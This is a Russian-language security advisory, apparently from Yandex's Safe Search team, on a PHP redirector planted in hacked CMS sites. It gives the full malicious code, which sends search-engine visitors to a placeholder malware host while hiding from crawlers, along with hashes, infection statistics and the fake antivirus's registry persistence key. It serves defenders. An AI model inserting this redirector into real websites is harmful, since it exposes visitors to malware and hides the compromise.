Злоумышленники нередко взламывают сайты для того, чтобы разместить на них редиректоры — ПО, которое автоматически перенаправляет браузер пользователя на подконтрольные злоумышленникам веб-серверы. В результате зараженный сайт становится частью их системы распространения вредоносного кода.
Когда Безопасный Поиск Яндекса обнаруживает такие редиректоры, к содержащим их сайтам применяются следующие меры:
- В результатах поиска сайт отображается с пометкой о том, что он представляет опасность для пользователя, и количество переходов на него с поисковой выдачи снижается в 50-100 раз.
- Браузеры, использующие Safe Browsing API Яндекса, также предупреждают пользователей, что страница представляет опасность, даже когда переход на зараженный ресурс происходит не с поисковой выдачи. Это ещё сильнее снижает посещаемость сайта.
- Если владельцы взломанного ресурса не устранили проблему, сайт совсем убирается из результатов поиска, т.к. постоянное перенаправление (редирект) на другой сайт, по сути, превращает этот ресурс в дорвей, который не даёт ответов на вопросы, задаваемые пользователями.
Подобные проблемы часто возникают из-за заражения скриптов популярных CMS веб-серверным вредоносным кодом. Наиболее популярным в настоящее время является следующий код:
error_reporting( 0 );
$qazplm=headers_sent( );
if ( !$qazplm ) {
$referer = $_SERVER[ 'HTTP_REFERER' ];
$uag = $_SERVER[ 'HTTP_USER_AGENT' ];
if ( $uag and !stristr( $uag, "StackRambler" ) and
!stristr( $uag, "aport" ) and
!stristr( $uag, "WebAlta" ) and
!stristr( $uag, "aport" ) and
!stristr( $uag, "compatible; Yandex" ) and
!stristr( $uag, "dyatel" ) ) {
if ( stristr( $referer, "yandex" ) or
stristr( $referer, "yahoo" ) or
stristr( $referer, "google" ) or
stristr( $referer, "bing" ) or
stristr( $referer, "rambler" ) or
stristr( $referer, "gogo" ) or
stristr( $referer, "live" ) or
stristr( $referer, "aport" ) or
stristr( $referer, "nigma" ) or
stristr( $referer, "webalta" ) or
stristr( $referer, "meta.ua" ) or
stristr( $referer, "bigmir.net" ) or
stristr( $referer, "tut.by" ) or
stristr( $referer, "ukr.net" ) or
stristr( $referer, "poisk.ru" ) or
stristr( $referer, "liveinternet.ru" ) or
stristr( $referer, "gde.ru" ) or
stristr( $referer, "quintura.ru" ) or
stristr( $referer, "qip.ru" ) or
stristr( $referer, "mail.ru" ) or
stristr( $referer, "metabot.ru" ) ) {
if ( !stristr( $referer, "cache" ) or
!stristr( $referer, "inurl" ) ) {
header( "Location: http://malwarehost/malwarepath/" );
exit( );
}
}
}
}
где:
- malwarehost — хост, который распространяет вредоносное ПО;
- malwarepath — директория на хосте, который распространяет вредоносное ПО.
Этот код обычно присутствует в PHP-файлах и может быть обфусцирован (закодирован).
Алгоритм работы вредоносного кода
- Сначала вызов функции error_reporting(0) отключает вывод ошибок при выполнении скрипта, так что даже если в веб-серверном вредоносном коде произойдет ошибка, то посетивший страницу пользователь ничего не увидит.
Далее вызовом функции headers_sent(…) проверяется, был ли клиенту отправлен ответ с HTTP-заголовками. Если нет, то происходит получение Referer и User-Agent. - После этого поиском соответствующей подстроки в значении User-Agent проверяется, не бот ли посещает страницу.
- Если это не бот, то проверяется, пришел ли он с одной из поисковых систем, приведенных ниже:
www.yandex.ru;
www.yahoo.com;
www.google.com;
www.bing.com;
www.rambler.ru;
www.gogo.ru;
www.live.com;
www.aport.ru;
www.nigma.ru;
www.webalta.ru;
www.meta.ua;
www.bigmir.net;
www.tut.by;
www.ukr.net;
www.poisk.ru;
www.liveinternet.ru;
www.gde.ru;
www.quintura.ru;
www.qip.ru;
www.mail.ru;
www.metabot.ru - Если пользователь перешёл на заражённый сайт с одной из указанных выше поисковых систем, и при этом он не просматривает сохранённую копию страницы в кэше поисковой системы, то выполняется перенаправление пользователя на сайт, указанный в вызове функции header().
- MD5: c4d0e04e521dd8d920cb644b4075c6f0;
- SHA1: 2fa568a42c04f6647fa5808bf8fdfd405aced9c3;
- SHA256: 428262fa0edbee619df2913be
af0e22abcd6e67408db892bc2 75292526d3157f.
Статистика распространения
Всего Яндексу известно более 800 зараженных уникальных хостов, которые являются редиректорами на osa.pl. Пик распространения вредоносного кода пришелся на 20.09.2011. Общая динамика заражения приведена ниже:
Чаще всего этот код находится на сайтах, доменное имя которых расположено в зоне RU:
На домене osa.pl есть несколько поддоменов, которые являются промежуточными звеньями в цепочках распространения вредоносного кода. Статистика по использованию этих поддоменов такова:
Сайты с некоторыми CMS заражают редиректорами на osa.pl чаще, чем другие:
Распространяемое вредоносное ПО
Вредоносное ПО, распространяемое через эти редиректы, на 28.09.2011 детектировали всего 4 антивируса из 43 (по данным VirusTotal.com).
Хеши семпла:
Распространяемое вредоносное ПО часто представляет собой фальшивый антивирус. Для автоматического запуска во время загрузки ОС оно прописывает себя в ветку реестра:
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
Пользовательский интерфейс этого фальшивого антивируса выглядит так:
Никакого отношения к настоящим антивирусам данное вредоносное ПО, разумеется, не имеет.
Рекомендации
Рекомендации по обеспечению безопасности вашего сайта аналогичны приведённым в предыдущей статье.
Кроме того, обязательно проверяйте свой сайт на наличие вредоносного кода в auto_prepend_file и конструкции, связанные с обработкой ошибок.
Команда безопасного поиска Яндекса